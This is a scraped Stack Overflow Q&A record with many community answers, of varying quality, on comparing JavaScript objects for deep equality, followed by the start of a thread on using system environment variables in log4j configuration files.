"text": " let user1 = {\n name: \"John\",\n address: {\n line1: \"55 Green Park Road\",\n line2: {\n a:[1,2,3]\n } \n },\n email:null\n }\n \n let user2 = {\n name: \"John\",\n address: {\n line1: \"55 Green Park Road\",\n line2: {\n a:[1,2,3]\n } \n },\n email:null\n }\n \n // Method 1\n \n function isEqual(a, b) {\n return JSON.stringify(a) === JSON.stringify(b);\n }\n \n // Method 2\n \n function isEqual(a, b) {\n // checking type of a And b\n if(typeof a !== 'object' || typeof b !== 'object') {\n return false;\n }\n \n // Both are NULL\n if(!a && !b ) {\n return true;\n } else if(!a || !b) {\n return false;\n }\n \n let keysA = Object.keys(a);\n let keysB = Object.keys(b);\n if(keysA.length !== keysB.length) {\n return false;\n }\n for(let key in a) {\n if(!(key in b)) {\n return false;\n }\n \n if(typeof a[key] === 'object') {\n if(!isEqual(a[key], b[key]))\n {\n return false;\n }\n } else {\n if(a[key] !== b[key]) {\n return false;\n }\n }\n }\n \n return true;\n }\n\n\n\nconsole.log(isEqual(user1,user2));"
},
{
"answer_id": 54313588,
"author": "Vaelin",
"author_id": 9641939,
"author_profile": "https://Stackoverflow.com/users/9641939",
"pm_score": 5,
"selected": false,
"text": "isDeepStrictEqual util const util = require('util');\n\nconst obj1 = {\n foo: \"bar\",\n baz: [1, 2]\n};\n\nconst obj2 = {\n foo: \"bar\",\n baz: [1, 2]\n};\n\n\nobj1 == obj2 // false\nutil.isDeepStrictEqual(obj1, obj2) // true\n\n"
},
{
"answer_id": 55874576,
"author": "mojtaba ramezani",
"author_id": 8217454,
"author_profile": "https://Stackoverflow.com/users/8217454",
"pm_score": -1,
"selected": false,
"text": "function isDeepEqual(obj1, obj2, testPrototypes = false) {\n if (obj1 === obj2) {\n return true\n }\n\n if (typeof obj1 === \"function\" && typeof obj2 === \"function\") {\n return obj1.toString() === obj2.toString()\n }\n\n if (obj1 instanceof Date && obj2 instanceof Date) {\n return obj1.getTime() === obj2.getTime()\n }\n\n if (\n Object.prototype.toString.call(obj1) !==\n Object.prototype.toString.call(obj2) ||\n typeof obj1 !== \"object\"\n ) {\n return false\n }\n\n const prototypesAreEqual = testPrototypes\n ? isDeepEqual(\n Object.getPrototypeOf(obj1),\n Object.getPrototypeOf(obj2),\n true\n )\n : true\n\n const obj1Props = Object.getOwnPropertyNames(obj1)\n const obj2Props = Object.getOwnPropertyNames(obj2)\n\n return (\n obj1Props.length === obj2Props.length &&\n prototypesAreEqual &&\n obj1Props.every(prop => isDeepEqual(obj1[prop], obj2[prop]))\n )\n}\n\nconsole.log(isDeepEqual({key: 'one'}, {key: 'first'}))\nconsole.log(isDeepEqual({key: 'one'}, {key: 'one'}))"
},
{
"answer_id": 57787274,
"author": "JohnPan",
"author_id": 2149492,
"author_profile": "https://Stackoverflow.com/users/2149492",
"pm_score": -1,
"selected": false,
"text": "function isObjectEqual( o1, o2, ignorePropsArr=[]) {\n // Deep Clone objects\n let _obj1 = JSON.parse(JSON.stringify(o1)),\n _obj2 = JSON.parse(JSON.stringify(o2));\n // Remove props to ignore\n ignorePropsArr.map( p => { \n eval('_obj1.'+p+' = _obj2.'+p+' = \"IGNORED\"');\n });\n // compare as strings\n let s1 = JSON.stringify(_obj1),\n s2 = JSON.stringify(_obj2);\n // return [s1==s2,s1,s2];\n return s1==s2;\n}\n\n// Objects 0 and 1 are exact equals\nobj0 = { price: 66544.10, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj1 = { price: 66544.10, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj2 = { price: 66544.12, RSIs: [0.000432334, 0.00046531], candles: {A: 543, B: 321, C: 4322}}\nobj3 = { price: 66544.13, RSIs: [0.000432334, 0.00046531], candles: {A: 541, B: 321, C: 4322}}\nobj4 = { price: 66544.14, RSIs: [0.000432334, 0.00046530], candles: {A: 543, B: 321, C: 4322}}\n\nisObjectEqual(obj0,obj1) // true\nisObjectEqual(obj0,obj2) // false\nisObjectEqual(obj0,obj2,['price']) // true\nisObjectEqual(obj0,obj3,['price']) // false\nisObjectEqual(obj0,obj3,['price','candles.A']) // true\nisObjectEqual(obj0,obj4,['price','RSIs[1]']) // true\n"
},
{
"answer_id": 57858786,
"author": "Dude",
"author_id": 6683503,
"author_profile": "https://Stackoverflow.com/users/6683503",
"pm_score": 0,
"selected": false,
"text": "function compare(a,b) {\n var paths = [];\n [...new Set(Object.keys(a).concat(Object.keys(b)))].forEach(key=>{\n if(typeof a[key] === 'object' && typeof b[key] === 'object') {\n var results = compare(a[key], b[key]);\n if(JSON.stringify(results)!=='[]') {\n paths.push(...results.map(result=>key.concat(\"=>\"+result)));\n }\n }\n else if (a[key]!==b[key]) {\n paths.push(key);\n }\n })\n return paths;\n}\n if(JSON.stringify(compare(object1, object2))==='[]') {\n // the two objects are equal\n} else {\n // the two objects are not equal\n}\n"
},
{
"answer_id": 58084885,
"author": "Adriano Spadoni",
"author_id": 1955088,
"author_profile": "https://Stackoverflow.com/users/1955088",
"pm_score": 3,
"selected": false,
"text": "const compareObjects = (a, b) => { \n let s = (o) => Object.entries(o).sort().map(i => { \n if(i[1] instanceof Object) i[1] = s(i[1]);\n return i \n }) \n return JSON.stringify(s(a)) === JSON.stringify(s(b))\n}\n\nconsole.log(compareObjects({b:4,a:{b:1}}, {a:{b:1},b:4}));"
},
{
"answer_id": 58236420,
"author": "user3143487",
"author_id": 3143487,
"author_profile": "https://Stackoverflow.com/users/3143487",
"pm_score": -1,
"selected": false,
"text": "const one={name:'mohit' , age:30};\n//const two ={name:'mohit',age:30};\nconst two ={age:30,name:'mohit'};\n\nfunction isEquivalent(a, b) {\n// Create arrays of property names\nvar aProps = Object.getOwnPropertyNames(a);\nvar bProps = Object.getOwnPropertyNames(b);\n\n\n\n// If number of properties is different,\n// objects are not equivalent\nif (aProps.length != bProps.length) {\n return false;\n}\n\nfor (var i = 0; i < aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal,\n // objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n}\n\n// If we made it this far, objects\n// are considered equivalent\nreturn true;\n}\n\nconsole.log(isEquivalent(one,two))\n"
},
{
"answer_id": 58253440,
"author": "Pak Ho Cheung",
"author_id": 5737856,
"author_profile": "https://Stackoverflow.com/users/5737856",
"pm_score": 0,
"selected": false,
"text": "function areTwoDictsEqual(dictA, dictB) {\n function sortDict(dict) {\n var keys = Object.keys(dict);\n keys.sort();\n\n var newDict = {};\n for (var i=0; i<keys.length; i++) {\n var key = keys[i];\n var value = dict[key];\n newDict[key] = value;\n } \n return newDict;\n }\n\n return JSON.stringify(sortDict(dictA)) == JSON.stringify(sortDict(dictB));\n}\n"
},
{
"answer_id": 58690747,
"author": "Nibras",
"author_id": 5477211,
"author_profile": "https://Stackoverflow.com/users/5477211",
"pm_score": 1,
"selected": false,
"text": "function isEquivalent(a, b) {\n // Create arrays of property names\n var aProps = Object.getOwnPropertyNames(a);\n var bProps = Object.getOwnPropertyNames(b);\n\n // If number of properties is different, objects are not equivalent\n if (aProps.length != bProps.length) {\n return false;\n }\n\n for (var i = 0; i < aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal, objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n }\n\n// If we made it this far, objects are considered equivalent\nreturn true; }\n"
},
{
"answer_id": 59025876,
"author": "Apaar Bhatnagar",
"author_id": 5067785,
"author_profile": "https://Stackoverflow.com/users/5067785",
"pm_score": -1,
"selected": false,
"text": "const primitveDataTypes = ['number', 'boolean', 'string', 'undefined'];\nconst isDateOrRegExp = (value) => value instanceof Date || value instanceof RegExp;\nconst compare = (first, second) => {\n let agg = true;\n if(typeof first === typeof second && primitveDataTypes.indexOf(typeof first) !== -1 && first !== second){\n agg = false;\n }\n // adding support for Date and RegExp.\n else if(isDateOrRegExp(first) || isDateOrRegExp(second)){\n if(first.toString() !== second.toString()){\n agg = false;\n }\n }\n else {\n if(Array.isArray(first) && Array.isArray(second)){\n if(first.length === second.length){\n for(let i = 0; i < first.length; i++){\n if(typeof first[i] === 'object' && typeof second[i] === 'object'){\n agg = compare(first[i], second[i]);\n }\n else if(first[i] !== second[i]){\n agg = false;\n }\n }\n } else {\n agg = false;\n }\n } else {\n const firstKeys = Object.keys(first);\n const secondKeys = Object.keys(second);\n if(firstKeys.length !== secondKeys.length){\n agg = false;\n }\n for(let j = 0 ; j < firstKeys.length; j++){\n if(firstKeys[j] !== secondKeys[j]){\n agg = false;\n }\n if(first[firstKeys[j]] && second[secondKeys[j]] && typeof first[firstKeys[j]] === 'object' && typeof second[secondKeys[j]] === 'object'){\n agg = compare(first[firstKeys[j]], second[secondKeys[j]]);\n } \n else if(first[firstKeys[j]] !== second[secondKeys[j]]){\n agg = false;\n } \n }\n }\n }\n return agg;\n}\n\n\nconsole.log('result', compare({a: 1, b: { c: [4, {d:5}, {e:6}]}, r: null}, {a: 1, b: { c: [4, {d:5}, {e:6}]}, r: 'ffd'})); //returns false."
},
{
"answer_id": 61142767,
"author": "Aqeel Bahoo",
"author_id": 10117638,
"author_profile": "https://Stackoverflow.com/users/10117638",
"pm_score": 4,
"selected": false,
"text": "var object1 = {name: \"humza\" , gender : \"male\", age: 23}\nvar object2 = {name: \"humza\" , gender : \"male\", age: 23}\nvar result = Object.keys(object1).every((key) => object1[key] === object2[key])\n"
},
{
"answer_id": 61389776,
"author": "Sergiy Seletskyy",
"author_id": 781048,
"author_profile": "https://Stackoverflow.com/users/781048",
"pm_score": 2,
"selected": false,
"text": "function compareTwoObjects<T>(original: T, partial: Partial<T>): boolean {\n return !Object.keys(partial).some((key) => partial[key] !== original[key]);\n}\n\n"
},
{
"answer_id": 62202820,
"author": "Stan Hurks",
"author_id": 5644723,
"author_profile": "https://Stackoverflow.com/users/5644723",
"pm_score": 1,
"selected": false,
"text": "public class Objects {\n /**\n * Checks whether a value is of type Object\n * @param value the value\n */\n public static isObject = (value: any): boolean => {\n return value === Object(value) && Object.prototype.toString.call(value) !== '[object Array]'\n }\n\n /**\n * Checks whether a value is of type Array\n * @param value the value\n */\n public static isArray = (value: any): boolean => {\n return Object.prototype.toString.call(value) === '[object Array]' && !Objects.isObject(value)\n }\n\n /**\n * Check whether two values are equal\n */\n public static isEqual = (objectA: any, objectB: any) => {\n // Objects\n if (Objects.isObject(objectA) && !Objects.isObject(objectB)) {\n return false\n }\n else if (!Objects.isObject(objectA) && Objects.isObject(objectB)) {\n return false\n }\n // Arrays\n else if (Objects.isArray(objectA) && !Objects.isArray(objectB)) {\n return false\n }\n else if (!Objects.isArray(objectA) && Objects.isArray(objectB)) {\n return false\n }\n // Primitives\n else if (!Objects.isArray(objectA) && !Objects.isObject(objectA)) {\n return objectA === objectB\n }\n // Object or array\n else {\n const compareObject = (objectA: any, objectB: any): boolean => {\n if (Object.keys(objectA).length !== Object.keys(objectB).length) return false\n\n for (const propertyName of Object.keys(objectA)) {\n const valueA = objectA[propertyName]\n const valueB = objectB[propertyName]\n\n if (!Objects.isEqual(valueA, valueB)) {\n return false\n }\n }\n\n return true\n }\n const compareArray = (arrayA: any[], arrayB: any[]): boolean => {\n if (arrayA.length !== arrayB.length) return false\n\n for (const index in arrayA) {\n const valueA = arrayA[index]\n const valueB = arrayB[index]\n\n if (!Objects.isEqual(valueA, valueB)) {\n return false\n }\n }\n\n return true\n }\n if (Objects.isObject(objectA)) {\n return compareObject(objectA, objectB)\n } else {\n return compareArray(objectA, objectB)\n }\n }\n }\n}\n"
},
{
"answer_id": 63496057,
"author": "Aidin",
"author_id": 2321594,
"author_profile": "https://Stackoverflow.com/users/2321594",
"pm_score": 5,
"selected": false,
"text": "JSON.stringify() JSON.encode .toString() === { a: 5, b: 8} {b: 8 and a: 5 } NaN ownProperties User emailAddress equal _.equal ownProperties object auto_incremental auto_incremental UNIQUE"
},
{
"answer_id": 64987759,
"author": "Jose Rojas",
"author_id": 3397552,
"author_profile": "https://Stackoverflow.com/users/3397552",
"pm_score": 0,
"selected": false,
"text": "equals const c = {a: 1, b: 2};\nconst d = {b: 2, a: 1};\nR.equals(c, d); //=> true\n"
},
{
"answer_id": 66187548,
"author": "Asking",
"author_id": 12540500,
"author_profile": "https://Stackoverflow.com/users/12540500",
"pm_score": 0,
"selected": false,
"text": "const obj = {\n name: \"Carl\",\n age: 15\n}\nconst obj2 = {\n name: \"Carl\",\n age: 15,\n}\n\n\nconst compareObj = (objects) => {\n const res = objects.map((item) => {\n return Object.entries(item).flat().join()\n })\n return res.every((a) => {\n return a === res[0]\n })\n}\n\nconsole.log(compareObj([obj,obj2]))"
},
{
"answer_id": 66707009,
"author": "Tolumide",
"author_id": 9347459,
"author_profile": "https://Stackoverflow.com/users/9347459",
"pm_score": 2,
"selected": false,
"text": "// this comparison would not work for function and symbol comparisons\n// this would only work best for compared objects that do not belong to same address in memory\n// Returns true if there is no difference, and false otherwise\n\n\nexport const isObjSame = (obj1, obj2) => {\n if (typeof obj1 !== \"object\" && obj1 !== obj2) {\n return false;\n }\n\n if (typeof obj1 !== \"object\" && typeof obj2 !== \"object\" && obj1 === obj2) {\n return true;\n }\n\n if (typeof obj1 === \"object\" && typeof obj2 === \"object\") {\n if (Array.isArray(obj1) && Array.isArray(obj2)) {\n if (obj1.length === obj2.length) {\n if (obj1.length === 0) {\n return true;\n }\n const firstElemType = typeof obj1[0];\n\n if (typeof firstElemType !== \"object\") {\n const confirmSameType = currentType =>\n typeof currentType === firstElemType;\n\n const checkObjOne = obj1.every(confirmSameType);\n const checkObjTwo = obj2.every(confirmSameType);\n\n if (checkObjOne && checkObjTwo) {\n // they are primitves, we can therefore sort before and compare by index\n // use number sort\n // use alphabet sort\n // use regular sort\n if (firstElemType === \"string\") {\n obj1.sort((a, b) => a.localeCompare(b));\n obj2.sort((a, b) => a.localeCompare(b));\n }\n obj1.sort((a, b) => a - b);\n obj2.sort((a, b) => a - b);\n\n let equal = true;\n\n obj1.map((element, index) => {\n if (!isObjSame(element, obj2[index])) {\n equal = false;\n }\n });\n\n return equal;\n }\n\n if (\n (checkObjOne && !checkObjTwo) ||\n (!checkObjOne && checkObjTwo)\n ) {\n return false;\n }\n\n if (!checkObjOne && !checkObjTwo) {\n for (let i = 0; i <= obj1.length; i++) {\n const compareIt = isObjSame(obj1[i], obj2[i]);\n if (!compareIt) {\n return false;\n }\n }\n\n return true;\n }\n\n // if()\n }\n const newValue = isObjSame(obj1, obj2);\n return newValue;\n } else {\n return false;\n }\n }\n\n if (!Array.isArray(obj1) && !Array.isArray(obj2)) {\n let equal = true;\n if (obj1 && obj2) {\n const allKeys1 = Array.from(Object.keys(obj1));\n const allKeys2 = Array.from(Object.keys(obj2));\n\n if (allKeys1.length === allKeys2.length) {\n allKeys1.sort((a, b) => a - b);\n allKeys2.sort((a, b) => a - b);\n\n allKeys1.map((key, index) => {\n if (\n key.toLowerCase() !== allKeys2[index].toLowerCase()\n ) {\n equal = false;\n return;\n }\n\n const confirmEquality = isObjSame(obj1[key], obj2[key]);\n\n if (!confirmEquality) {\n equal = confirmEquality;\n return;\n }\n });\n }\n }\n\n return equal;\n\n // return false;\n }\n }\n};\n"
},
{
"answer_id": 67130689,
"author": "Paul",
"author_id": 2604492,
"author_profile": "https://Stackoverflow.com/users/2604492",
"pm_score": 3,
"selected": false,
"text": "JSON.stringify JSON.stringify Date Function function objectEquals(obj1, obj2) {\n const JSONstringifyOrder = obj => {\n const keys = {};\n JSON.stringify(obj, (key, value) => {\n keys[key] = null;\n return value;\n });\n return JSON.stringify(obj, Object.keys(keys).sort());\n };\n return JSONstringifyOrder(obj1) === JSONstringifyOrder(obj2);\n}\n\n///////////////////////////////////////////////////////////////\n/// The borrowed tests, run them by clicking \"Run code snippet\"\n///////////////////////////////////////////////////////////////\nvar printResult = function (x) {\n if (x) { document.write('<div style=\"color: green;\">Passed</div>'); }\n else { document.write('<div style=\"color: red;\">Failed</div>'); }\n};\nvar assert = { isTrue: function (x) { printResult(x); }, isFalse: function (x) { printResult(!x); } }\n\nassert.isTrue(objectEquals(\"hi\",\"hi\"));\nassert.isTrue(objectEquals(5,5));\nassert.isFalse(objectEquals(5,10));\n\nassert.isTrue(objectEquals([],[]));\nassert.isTrue(objectEquals([1,2],[1,2]));\nassert.isFalse(objectEquals([1,2],[2,1]));\nassert.isFalse(objectEquals([1,2],[1,2,3]));\n\nassert.isTrue(objectEquals({},{}));\nassert.isTrue(objectEquals({a:1,b:2},{a:1,b:2}));\nassert.isTrue(objectEquals({a:1,b:2},{b:2,a:1}));\nassert.isFalse(objectEquals({a:1,b:2},{a:1,b:3}));\n\nassert.isTrue(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\nassert.isFalse(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));"
},
{
"answer_id": 68130815,
"author": "scipper",
"author_id": 8569519,
"author_profile": "https://Stackoverflow.com/users/8569519",
"pm_score": 2,
"selected": false,
"text": "toJSON const obj1 = {\n a: 1,\n b: 2,\n c: { \n ca: 1,\n cb: 2\n }\n}\n\nconst obj2 = {\n b: 2, // changed order with a\n a: 1,\n c: { \n ca: 1,\n cb: 2\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // false\n a b toJSON const obj1 = {\n a: 1,\n b: 2,\n c: { \n ca: 1,\n cb: 2\n },\n toJSON() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n }\n}\n\nconst obj2 = {\n b: 2,\n a: 1,\n c: { \n ca: 1,\n cb: 2\n },\n toJSON() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // true\n obj1 obj2 toJSON obj1.toJSON = function() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n}\n\nobj2.toJSON = function() {\n return {\n a: this.a,\n b: this.b,\n c: { \n ca: this.c.ca,\n cb: this.c.ca\n }\n }\n}\n\nJSON.stringify(obj1) === JSON.stringify(obj2) // true\n"
},
{
"answer_id": 68564458,
"author": "Mahmoud Magdy",
"author_id": 11686674,
"author_profile": "https://Stackoverflow.com/users/11686674",
"pm_score": -1,
"selected": false,
"text": "function equalObjects(myObj1, myObj2){\n\nlet firstScore = 0;\nlet secondScore = 0;\nlet index=0;\n\nlet proprtiesArray = [];\nlet valuesArray = [];\n\n\nlet firstLength = 0;\nlet secondLength = 0;\n\n\nfor (const key in myObj1) {\n if (myObj1.hasOwnProperty(key)) {\n firstLength += 1;\n proprtiesArray.push(key);\n valuesArray.push(myObj1[key]); \n firstScore +=1;\n }\n}\n\nfor (const key in myObj2) {\n if (myObj2.hasOwnProperty(key)) {\n secondLength += 1;\n if (valuesArray[index] === myObj2[key] && proprtiesArray[index] === key) {\n secondScore +=1;\n }\n //console.log(myObj[key]);\n \n index += 1;\n }\n \n}\n\nif (secondScore == firstScore && firstLength === secondLength) {\n console.log(\"true\", \"equal objects\");\n return true;\n} else {\n console.log(\"false\", \"not equal objects\");\n return false;\n}\n\n}\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName':'Lovelace'});\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName1':'Lovelace'});\n\nequalObjects({'firstName':'Ada','lastName':'Lovelace'},{'firstName':'Ada','lastName':'Lovelace', 'missing': false});"
},
{
"answer_id": 68700405,
"author": "Rustamjon Kirgizbaev",
"author_id": 14111273,
"author_profile": "https://Stackoverflow.com/users/14111273",
"pm_score": 1,
"selected": false,
"text": "nested Objects Arrays primitive types arrayEquals equals function arrayEquals(a, b) {\n if (a.length != b.length) {\n return false;\n }\n for (let i = 0; i < a.length; i++) {\n if (a[i].constructor !== b[i].constructor) {\n return false;\n }\n\n if (a[i] instanceof Array && b[i] instanceof Array) {\n if (!arrayEquals(a, b)) {\n return false;\n }\n } else if (a[i] instanceof Object && b[i] instanceof Object) {\n if (!equals(a[i], b[i])) {\n return false;\n }\n } else if (a[i] !== b[i]) {\n return false;\n }\n }\n return true;\n}\n\nfunction equals(a, b) {\n for (let el in a) {\n if (b.hasOwnProperty(el)) {\n if (a[el].constructor !== b[el].constructor) {\n return false;\n }\n\n if (a[el] instanceof Array && b[el] instanceof Array) {\n if (!arrayEquals(a[el], b[el])) {\n return false;\n }\n } else if (a[el] instanceof Object && b[el] instanceof Object) {\n if (!equals(a[el], b[el])) {\n return false;\n }\n } else if (a[el] !== b[el]) {\n return false;\n }\n } else {\n return false;\n }\n }\n return true;\n}\n let a = {\n a: 1,\n b: { c: 1, d: \"test\" },\n c: 3,\n d: [{ a: [1, 2], e: 2 }, \"test\", { c: 3, q: 5 }],\n};\n\nlet b = {\n a: 1,\n b: { c: 1, d: \"test\" },\n c: 3,\n d: [{ a: [1, 2], e: 2 }, \"test\", { c: 3, q: 5 }],\n};\n equals if(equals(a, b)) {\n // do whatever you want\n}\n"
},
{
"answer_id": 68758937,
"author": "FOR_SCIENCE",
"author_id": 9808476,
"author_profile": "https://Stackoverflow.com/users/9808476",
"pm_score": 1,
"selected": false,
"text": "isEqual console.log(isEqual({ hello: 'world' }, { hello: 'world' })) // returns true\n"
},
{
"answer_id": 68961888,
"author": "Randhir Rawatlal",
"author_id": 2473720,
"author_profile": "https://Stackoverflow.com/users/2473720",
"pm_score": 0,
"selected": false,
"text": "function genObjStr(obj, settings) {\n// Generate a string that corresponds to an object guarenteed to be the same str even if\n// the object have different ordering. The string would largely be used for comparison purposes\n\nvar settings = settings||{};\nvar doStripWhiteSpace = defTrue(settings.doStripWhiteSpace);\nvar doSetLowerCase = settings.doSetLowerCase||false;\n\nif(isArray(obj)) {\n var vals = [];\n for(var i = 0; i < obj.length; ++i) {\n vals.push(genObjStr(obj[i], settings));\n }\n vals = arraySort(vals);\n return vals.join(`,`);\n\n} else if(isObject(obj)) {\n\n var keys = Object.keys(obj);\n keys = arraySort(keys);\n\n var vals = [];\n for(var key of keys) {\n \n var value = obj[key];\n \n value = genObjStr(value, settings);\n\n if(doStripWhiteSpace) {\n key = removeWhitespace(key);\n var value = removeWhitespace(value);\n };\n if(doSetLowerCase) {\n key = key.toLowerCase();\n value = value.toLowerCase();\n }\n\n vals.push(value);\n }\n var str = JSON.stringify({keys: keys, vals: vals});\n return str\n} else {\n if(doStripWhiteSpace) {\n obj = removeWhitespace(obj);\n };\n if(doSetLowerCase) {\n obj = obj.toLowerCase();\n }\n return obj\n}\n var obj1 = {foo: 123, bar: `Test`};\nvar obj2 = {bar: `Test`, foo: 123};\n\nconsole.log(genObjStr(obj1) == genObjStr(obj1))\n"
},
{
"answer_id": 69286063,
"author": "iamabs2001",
"author_id": 12276988,
"author_profile": "https://Stackoverflow.com/users/12276988",
"pm_score": 2,
"selected": false,
"text": "let std1 = {\n name: \"Abhijeet\",\n roll: 1\n}\n\nlet std2 = {\n name: \"Siddharth\",\n roll: 2\n}\n\nconsole.log(JSON.stringify(std1) === JSON.stringify(std2))\n"
},
{
"answer_id": 69830082,
"author": "YassBan",
"author_id": 15816207,
"author_profile": "https://Stackoverflow.com/users/15816207",
"pm_score": 0,
"selected": false,
"text": "function equals(a, b) {\nconst aKeys = Object.keys(a)\nconst bKeys = Object.keys(b)\nif(aKeys.length != bKeys.length) {\n return false\n}\nfor(let i = 0;i < aKeys.length;i++) {\n if(aKeys[i] != bKeys[i]) {\n return false\n } \n}\nfor(let i = 0;i < aKeys.length;i++) {\n if(a[aKeys[i]] != b[bKeys[i]]) {\n return false\n }\n}\nreturn true\n}\n"
},
{
"answer_id": 70815902,
"author": "ashuvssut",
"author_id": 12872199,
"author_profile": "https://Stackoverflow.com/users/12872199",
"pm_score": 0,
"selected": false,
"text": "const shallowequal = require('shallowequal');\n \nconst object = { 'user': 'fred' };\nconst other = { 'user': 'fred' };\n\n// Referential Equality Comparison (`strict ===`)\nobject === other; // → false\n\n// Shallow Equality Comparison\nshallowequal(object, other); // → true\n shallowEqual fbjs shallowequal(obj1, obj2) shallowEqual obj1 obj2 obj1 false obj1 obj2 true"
},
{
"answer_id": 70934266,
"author": "Christopher Silvas",
"author_id": 11576079,
"author_profile": "https://Stackoverflow.com/users/11576079",
"pm_score": 2,
"selected": false,
"text": "const compareReplacer = (key, value) => {\n if(typeof value === 'object' && !(value instanceof Array))\n return Object.entries(value).sort();\n return value;\n}\nexport const compareObjects = (a, b) => JSON.stringify(a, compareReplacer) === JSON.stringify(b, compareReplacer);\n"
},
{
"answer_id": 70966181,
"author": "Haseeb Butt",
"author_id": 7139702,
"author_profile": "https://Stackoverflow.com/users/7139702",
"pm_score": 2,
"selected": false,
"text": "return (JSON.stringify(obj1) === JSON.stringify(obj2))"
},
{
"answer_id": 71177605,
"author": "pery mimon",
"author_id": 1919821,
"author_profile": "https://Stackoverflow.com/users/1919821",
"pm_score": 1,
"selected": false,
"text": "let obj1= {var1:'value1', var2:{ var1:'value1', var2:'value2'}};\nlet obj2 = {var1:'value1', var2:{ var1:'value11',var2:'value2'}} \n\nlet flat1= flattenObject(obj1)\n/*\n{\n 'var1':'value1',\n 'var2.var1':'value1',\n 'var2.var2':'value2'\n}\n*/\nlet flat2= flattenObject(obj2)\n/*\n{\n 'var1':'value1',\n 'var2.var1':'value11',\n 'var2.var2':'value2'\n}\n*/\nisEqual(flat1, flat2)\n/*\n false\n*/\n\n function flattenObject(obj) {\n const object = Object.create(null);\n const path = [];\n const isObject = (value) => Object(value) === value;\n\n function dig(obj) {\n for (let [key, value] of Object.entries(obj)) {\n path.push(key);\n if (isObject(value)) dig(value);\n else object[path.join('.')] = value;\n path.pop();\n }\n }\n\n dig(obj);\n return object;\n}\n function isEqual(flat1, flat2) {\n for (let key in flat2) {\n if (flat1[key] !== flat2[key])\n return false\n }\n // check for missing keys\n for (let key in flat1) {\n if (!(key in flat2))\n return false\n }\n return true\n}\n\n obj1 obj2"
},
{
"answer_id": 72329693,
"author": "Adrian Bartholomew",
"author_id": 971695,
"author_profile": "https://Stackoverflow.com/users/971695",
"pm_score": 2,
"selected": false,
"text": "const compare = (x, y) => {\n const srt = (obj) => JSON.stringify(obj)?.split('').sort().join('');\n return srt(x) === srt(y);\n};\n\n// ----- How to use ---\nconst a = {'one':1, 'two':2,'three':3};\nconst b = {'two':2, 'one':1, 'three':3}; //note same values as (const a)\nconst c = {'one':1, 'two':2,'three':3};\nconst d = {'one':1, 'two':2,'four':4};\n\ncompare(a, b); //true\ncompare(a, c); //true\ncompare(a, d); //false\n\n//----- BUT! -----\nJSON.stringify(a) === JSON.stringify(b); //false\n\n//----- AND -----\ncompare({}, {}); //true\ncompare({}, undefined); //false\ncompare(undefined, undefined); //true\ncompare(undefined, ''); //false\ncompare(undefined, null); //false\ncompare(null, null); //true\ncompare('', ''); //true\n"
},
{
"answer_id": 72844378,
"author": "Yuval Peretz",
"author_id": 12459212,
"author_profile": "https://Stackoverflow.com/users/12459212",
"pm_score": 1,
"selected": false,
"text": "const isEqual = function (var1, var2) {\n if (typeof var1 === 'object' && typeof var2 === 'object') {\n // Checking equality for each of the inner values of the objects\n const keys = [...new Set([...Object.keys(var1),...Object.keys(var2)])];\n return keys.every(key => isEqual(var1[key], var2[key]) && isEqual(var2[key], var1[key]));\n } else { // Primitive types (number, boolean etc..)\n return var1 === var2; // Normal equality\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201183",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
201,188
|
<p>Is it possible to reference system environment variables (as opposed to Java system properties) in a log4j xml configuration file?</p>
<p>I'd like to be able to do something like:</p>
<pre><code><level value="${env.LOG_LEVEL}" />
</code></pre>
<p>and have it get that from the system environment variables, so I can avoid having to pass in so many things with -D parameters.</p>
|
[
{
"answer_id": 201489,
"author": "Einar",
"author_id": 2964,
"author_profile": "https://Stackoverflow.com/users/2964",
"pm_score": 6,
"selected": false,
"text": "<level value=\"${log_level}\" />\n java -Dlog_level=$LOG_LEVEL your_app\n"
},
{
"answer_id": 203941,
"author": "Martin Probst",
"author_id": 22227,
"author_profile": "https://Stackoverflow.com/users/22227",
"pm_score": 4,
"selected": false,
"text": "for (Map<String,String>.Entry entry : System.getenv().entrySet()) {\n System.setProperty(entry.getKey(), entry.getValue());\n}\n java -DMY_ENV=$MY_ENV -DMY_OTHER_ENV=$MY_OTHER_ENV -cp ... com.example.Main\n"
},
{
"answer_id": 21938229,
"author": "Daniel Estrada",
"author_id": 965342,
"author_profile": "https://Stackoverflow.com/users/965342",
"pm_score": 3,
"selected": false,
"text": "<level value=\"${env:LOG_LEVEL}\" />\n"
},
{
"answer_id": 29329899,
"author": "Shoham",
"author_id": 1297578,
"author_profile": "https://Stackoverflow.com/users/1297578",
"pm_score": 6,
"selected": true,
"text": " <Appenders>\n <File name=\"file\" fileName=\"${env:LOG_PATH}\">\n <PatternLayout>\n <Pattern>%d %p %c{1.} [%t] %m %ex%n</Pattern>\n </PatternLayout>\n </File>\n</Appenders>\n"
},
{
"answer_id": 35183593,
"author": "tkolleh",
"author_id": 1999025,
"author_profile": "https://Stackoverflow.com/users/1999025",
"pm_score": 0,
"selected": false,
